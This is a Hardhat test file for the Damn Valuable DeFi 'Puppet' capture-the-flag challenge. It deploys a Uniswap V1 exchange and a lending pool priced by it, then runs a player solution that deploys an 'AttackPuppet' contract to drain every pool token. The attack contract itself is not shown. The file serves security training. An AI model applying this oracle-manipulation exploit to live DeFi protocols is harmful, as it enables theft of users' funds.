-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathpuppet.challenge.js
158 lines (135 loc) · 5.22 KB
/
puppet.challenge.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
const exchangeJson = require("../../build-uniswap-v1/UniswapV1Exchange.json");
const factoryJson = require("../../build-uniswap-v1/UniswapV1Factory.json");
const { ethers } = require("hardhat");
const { expect } = require("chai");
const { setBalance } = require("@nomicfoundation/hardhat-network-helpers");
const helpers = require("@nomicfoundation/hardhat-network-helpers");
// Calculates how much ETH (in wei) Uniswap will pay for the given amount of tokens
function calculateTokenToEthInputPrice(
tokensSold,
tokensInReserve,
etherInReserve
) {
return (
(tokensSold * 997n * etherInReserve) /
(tokensInReserve * 1000n + tokensSold * 997n)
);
}
describe("[Challenge] Puppet", function () {
let deployer, player;
let token, exchangeTemplate, uniswapFactory, uniswapExchange, lendingPool;
const UNISWAP_INITIAL_TOKEN_RESERVE = 10n * 10n ** 18n;
const UNISWAP_INITIAL_ETH_RESERVE = 10n * 10n ** 18n;
const PLAYER_INITIAL_TOKEN_BALANCE = 1000n * 10n ** 18n;
const PLAYER_INITIAL_ETH_BALANCE = 25n * 10n ** 18n;
const POOL_INITIAL_TOKEN_BALANCE = 100000n * 10n ** 18n;
before(async function () {
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
[deployer, player] = await ethers.getSigners();
const UniswapExchangeFactory = new ethers.ContractFactory(
exchangeJson.abi,
exchangeJson.evm.bytecode,
deployer
);
const UniswapFactoryFactory = new ethers.ContractFactory(
factoryJson.abi,
factoryJson.evm.bytecode,
deployer
);
setBalance(player.address, PLAYER_INITIAL_ETH_BALANCE);
expect(await ethers.provider.getBalance(player.address)).to.equal(
PLAYER_INITIAL_ETH_BALANCE
);
// Deploy token to be traded in Uniswap
token = await (
await ethers.getContractFactory("DamnValuableToken", deployer)
).deploy();
// Deploy a exchange that will be used as the factory template
exchangeTemplate = await UniswapExchangeFactory.deploy();
// Deploy factory, initializing it with the address of the template exchange
uniswapFactory = await UniswapFactoryFactory.deploy();
await uniswapFactory.initializeFactory(exchangeTemplate.address);
// Create a new exchange for the token, and retrieve the deployed exchange's address
let tx = await uniswapFactory.createExchange(token.address, {
gasLimit: 1e6,
});
const { events } = await tx.wait();
uniswapExchange = await UniswapExchangeFactory.attach(
events[0].args.exchange
);
// Deploy the lending pool
lendingPool = await (
await ethers.getContractFactory("PuppetPool", deployer)
).deploy(token.address, uniswapExchange.address);
// Add initial token and ETH liquidity to the pool
await token.approve(uniswapExchange.address, UNISWAP_INITIAL_TOKEN_RESERVE);
await uniswapExchange.addLiquidity(
0, // min_liquidity
UNISWAP_INITIAL_TOKEN_RESERVE,
(await ethers.provider.getBlock("latest")).timestamp * 2, // deadline
{ value: UNISWAP_INITIAL_ETH_RESERVE, gasLimit: 1e6 }
);
// Ensure Uniswap exchange is working as expected
expect(
await uniswapExchange.getTokenToEthInputPrice(10n ** 18n, {
gasLimit: 1e6,
})
).to.be.eq(
calculateTokenToEthInputPrice(
10n ** 18n,
UNISWAP_INITIAL_TOKEN_RESERVE,
UNISWAP_INITIAL_ETH_RESERVE
)
);
// Setup initial token balances of pool and player accounts
await token.transfer(player.address, PLAYER_INITIAL_TOKEN_BALANCE);
await token.transfer(lendingPool.address, POOL_INITIAL_TOKEN_BALANCE);
// Ensure correct setup of pool. For example, to borrow 1 need to deposit 2
expect(await lendingPool.calculateDepositRequired(10n ** 18n)).to.be.eq(
2n * 10n ** 18n
);
expect(
await lendingPool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE)
).to.be.eq(POOL_INITIAL_TOKEN_BALANCE * 2n);
});
it("Execution", async function () {
/** CODE YOUR SOLUTION HERE */
const Attacker = await ethers.getContractFactory("AttackPuppet");
const attacker = await Attacker.deploy(
uniswapExchange.address,
lendingPool.address,
token.address,
player.address,
{ value: ethers.utils.parseEther("15") }
);
console.log("Attacker @", attacker.address);
let bal = await attacker.provider.getBalance(attacker.address);
console.log(
"Attacker ETH balance before",
ethers.utils.formatEther(bal.toString())
);
await token
.connect(player)
.transfer(attacker.address, PLAYER_INITIAL_TOKEN_BALANCE);
bal = await token.balanceOf(attacker.address);
console.log(
`Attacker token balance before `,
ethers.utils.formatEther(bal.toString())
);
await attacker.swap();
});
after(async function () {
/** SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */
// Player executed a single transaction
expect(await ethers.provider.getTransactionCount(player.address)).to.eq(1);
// Player has taken all tokens from the pool
expect(await token.balanceOf(lendingPool.address)).to.be.eq(
0,
"Pool still has tokens"
);
expect(await token.balanceOf(player.address)).to.be.gte(
POOL_INITIAL_TOKEN_BALANCE,
"Not enough token balance in player"
);
});
});